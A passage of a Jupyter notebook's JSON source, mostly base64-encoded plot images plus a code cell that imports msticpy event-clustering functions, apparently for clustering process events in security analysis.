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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], "source": [ "from msticpy.sectools.eventcluster import dbcluster_events, add_process_features\n", "from tqdm.notebook import tqdm\n", @@ -714,14 +3687,35 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 19, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:19:52.943265Z", "start_time": "2020-05-16T02:19:51.149746Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "image/png": 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